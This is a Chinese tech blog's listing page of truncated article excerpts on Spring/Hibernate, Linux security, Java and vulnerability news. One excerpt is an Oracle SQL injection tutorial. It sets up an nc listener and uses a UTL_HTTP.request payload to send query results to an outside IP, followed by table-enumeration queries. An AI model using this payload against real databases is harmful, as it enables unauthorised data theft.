微软修正PowerPoint漏洞 防止海运女殷虹病毒攻击

2017年02月05日 18 阅读

近段时间以来“海运女艳照门”照片成为一些网民关注的热点，但是黑客却在Windows下利用此焦点事件传毒的事件有增多的趋势，在5月14日就有近百个相关带毒论坛、网站被截获，其中植入的木马绝大部分会窃取网游帐号、下载其它恶意程序等。不过Linux系统下不会有事。如果你想看，最好切换到Linux系统。 不过，微软周二发布一款补丁软件修正了PowerPoint电子表格软件中一处“危急”缺陷。 据国外媒体报道称，该缺陷在Office 2000中的危险等级为“危急...

Java编程程序比C++的优劣分析

2017年02月05日 18 阅读

Java比C++ 好在： 1.Java比C,C++简单，学起来比CC++容易 2.Java完全对象化，比如数组在Java中是一个对象，含有length这个属性;而不像C++中数组是一个指针。所以访问数组，Java都会进行边界检查，更安全，但牺牲了速度。同时因为Java中所有类都会继承Object这个基类，所以可以把几个好不相干的类用基类联系起来，比如放在同一个数组里。 3.Java中没有指针这样不安全（虽然指针速度快）的概念。 4.Java中有完...

采用Linux系统 常熟全面启动中小学“龙芯数字学堂”建设

2017年02月05日 18 阅读

由江苏龙芯梦兰科技股份有限公司与教育部教学仪器研究所、中科院计算技术研究所、华东师范大学等共同开发的“龙芯数字学堂”教育信息化解决方案在常熟成功应用。这是采用我国自主研发的高性能龙芯CPU，完全拥有自主知识产权，采用Linux系统。目前，龙芯电脑已批量生产，走向市场。常熟市政府首次采购1万台龙芯电脑配备本市中小学，用于中小学数字学堂建设。5月8日，全市首家“龙芯数字学堂”在苏州市科技教育特色学校---常熟市实验小学建成。所谓“数字学堂”，既是带有丰富资源的...

Linux C语言内联汇编使用

2017年02月05日 18 阅读

参考资料：《Linux内核完全剖析》，《新版汇编语言程序设计》，《Linux C编程一站式学习》最近要改个C语言算法的关键部分用汇编语言实现，Linux里嵌入汇编基本使用AT&T汇编，比如Linux系统的启动部分用的就是AT&T汇编 。以前学过AT&T汇编，但学过一段时间就忘了，但对Intel汇编基础比较熟悉，两者使用方法基本相似，所以对着Intel汇编，花点时间看AT&T汇编也就容易了。下面看一下两者的区别，然后给出Lin...

中国最美女黑客视频澄清质疑 称不会违法敛财[图文]

2017年02月05日 18 阅读

被冠上“中国最美女黑客”头衔的上海女孩“YingCracker”最近迅速在网络蹿红。不论是她公布的木马破解技术，还是每月上万元的收入，都让不少网友崇拜不已。但与此同时，也有网友对其性别、技术能力和目的提出质疑。昨晚，“YingCracker”与记者通过视频聊天，以证实她确为女性，她同时还表示，自己不会利用黑客技术违法敛财。 “最美女黑客”被疑是男性 昨天 ， 记者进入了“YingCracker”的QQ空间，其日志内容都是软件密码及文件破解、程序漏洞...

Python最简单直接的自定义模块导入方法

2017年02月05日 19 阅读

python模块导入，网上介绍的资料很多，方法也众说纷纭。根据自己的实践，感觉这个方法最简单直接，而且可以与主流的python ide生成的工程是一样的。规则只有三条1. 严格区分包和文件夹。包的定义就是包含__init__.py的文件夹。如果没有__init__.py,那么就是普通的文件夹。2. 导入package。 在python 安装目录的site-package文件夹中新建xxx.pth，内容是需要导入的package所在的文件夹路径。3. 导入模...

Oracle注射技术——Oracle+nc注射

2017年02月05日 20 阅读

首先外网nc监听对应的端口 and UTL_HTTP.request（"外网ip:port/"（sql语句））=1-- 爆库： select owner from all_tables where rownum=1 select owner from all_tables where owner<>"第一个库名" and rownum=1 select owner from all_tables where owner<>...

Spring 集成hibernate事务管理（aop实现）

2017年02月05日 18 阅读

<beanid="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager"> <propertyname="sessionFactory"> <refbean="sFactory"/> </property> </bean> <tx:adviceid="txAdvic...

僵尸网络成为网络安全最严重危害之一

2017年02月05日 18 阅读

一、引言 近年来随着金钱的不段诱惑，和体内荷尔蒙的过多分泌，造成很多技术性天才做着一夜暴富的春秋大梦，越来越多的黑色产物不断的诞生，从2003年国外某安全团队第一时间发现sql 注射漏洞之后，到2004年国内几个天才高手开发出第一款NBSI国内第一款全自动后台扫描注入工具的诞生，随之而来的是更多的国内外网站被入侵，从国外的一份安全报告上来看，NBSI已经成为了国外检查相关站点进行渗透攻击测试的最有力武器，国人的伟大的智商让国外的黑客团队都大为钦佩，也算是...

Spring 手动实现aop管理事务

2017年02月05日 20 阅读

1.事务的使用：每次对数据库操作我们都要beginTransaction，显然是不行的.（比如一个业务中多次操作数据库，但是当某个方法出错或是..我们需要回滚，但是每次操作我们都提交了;整体回滚不了，所以我们有些只能把它们绑定使用一个事务）2.手动实现aop管理事务：利用aoparound环绕拦截。拦截方法（service中的一个业务方法）之前开启事务，之后再关闭；packageorg.ymm.aops; importorg.aspectj.lang.P...

Linux服务器安全策略详解：Web服务器的安全策略

2017年02月05日 19 阅读

本章要点 ◆ Web服务器软件Apache简介◆ Apache服务器面临的安全问题◆ 配置一个安全的Apache服务器6.1 Web服务器软件Apache简介随着网络技术的普及、应用和Web技术的不断完善，Web服务已经成为互联网上重要的服务形式之一。原有的客户端/服务器模式正在逐渐被浏览器/服务器模式所取代。本章将重点介绍Web面临的主要威胁，并结合在Linux中使用最多的Apache服务器，介绍进行Web服务器安全配置的技巧。6.1.1 Apache的...

Spring中 FactoryBean和bean

2017年02月05日 19 阅读

1.整合spring+hibernate中，让spring接管hibernate的session工厂有一段代码<beanid="sFactory"class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">查看源码：org.springframework.orm.hibernate3.LocalSessionFactoryBean: publicclassLocalSes...

Linux网络监控策略

2017年02月05日 19 阅读

本章要点 ◆ 安装配置MRTG监控Linux网络◆ 安装配置NTOP监控Linux网络◆ NTOP的安全策略17.1 安装配置MRTG监控Linux网络17.1.1 SNMP简介和MRTG监控过程1．SNMP简介SNMP是专门设计用于在 IP 网络管理网络节点（服务器、工作站、路由器、交换机及HUBS等）的一种标准协议，它是一种应用层协议。SNMP可以提高网络管理员管理网络的效率，发现并解决网络问题，以及规划网络增长。通过SNMP接收随机消息（及事件报告）...

Spring和Struts整合

2017年02月05日 18 阅读

1.添加struts2包2.在web.xml配置struts2过滤器<filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class></filter><filter-...

Linux Kernel CIFS字符串转换多个缓冲区溢出漏洞

2017年02月05日 20 阅读

发布日期：2009-05-14更新日期：2009-05-18受影响系统：Linux kernel 2.6.29描述：--------------------------------------------------------------------------------BUGTRAQ ID: 34989CVE（CAN） ID: CVE-2009-1633Linux Kernel是开放源码操作系统Linux所使用的内核。Linux Kernel的cif...

浅析Spring之sessionFactory

2017年02月05日 19 阅读

我们知道当我们集成Hibernate，我们需要Spring管理事务，自然而然就需要SessionFactory来创建Session，但是我们发现在Spring依赖注入的并不是SessionFactory，而是org.springframework.orm.hibernate3.LocalSessionFactoryBean通过LocalSessionFactoryBean源码发现LocalSessionFactoryBean extends Abstrac...

微软SharePoint出现重大漏洞，安装SP2将致使产品过期

2017年02月05日 18 阅读

微软周五警告称安全人员在最新版本的SharePoint中发现了一个重大漏洞。该漏洞存在于SharePoint Server 2007的SP2更新中，在安装该更新后，SharePoint就变成了“试用版”，将于安装SP更新后的180天过期无法使用。微软称此漏洞不会影响SharePoint的安全以及性能等方面，客户资料不会受到影响，即使真的过期了，届时只是无法访问SharePoint。据微软称以下产品安装SP2后将受到影响：Office SharePoint ...

Spring 事务的传播性

2017年02月05日 18 阅读

1： PROPAGATION_REQUIRED 加入当前正要执行的事务不在另外一个事务里，那么就起一个新的事务比如说，ServiceB.methodB的事务级别定义为PROPAGATION_REQUIRED, 那么由于执行ServiceA.methodA的时候，ServiceA.methodA已经起了事务，这时调用ServiceB.methodB，ServiceB.methodB看到自己已经运行在ServiceA.methodA的事务内部，就不再起新的...

Linux渐成黑客目标 带来巨大商机

2017年02月05日 18 阅读

即便是那些销售Linux反病毒产品的厂商也知道，目前，Linux在安全方面还没有多少问题。英国一家安全公司Sophos的一位分析师，Ron O’Brien说：“我们的产品更多的用来过滤Windows病毒，而不是Linux病毒。” 去年，美国印第安纳州教育部将运行Linux的PC推到学校，在服务器上安装了开源的反病毒软件，该服务器和桌面系统连接，扫描用户接收的电子邮件。并不需要用户在自己的PC上安装反病毒工具。 印第安纳州这个项目的一位顾问Forrest...

Android中异步类AsyncTask的理解

2017年02月05日 19 阅读

最近整理笔记的时候，看到有关AsyncTask不是很理解，重新疏导了一下，有在网上找了一些资料，个人不敢独享，一并发在这里与大家共勉这里有两种解释的方法，各有侧重点：第一种解释：Async Task 简介：AsyncTask的特点是任务在主线程之外运行，而回调方法是在主线程中执行，这就有效地避免了使用Handler带来的麻烦AsyncTask是抽象类.AsyncTask定义了三种泛型类型 Params，Progress和Result。 Params 启...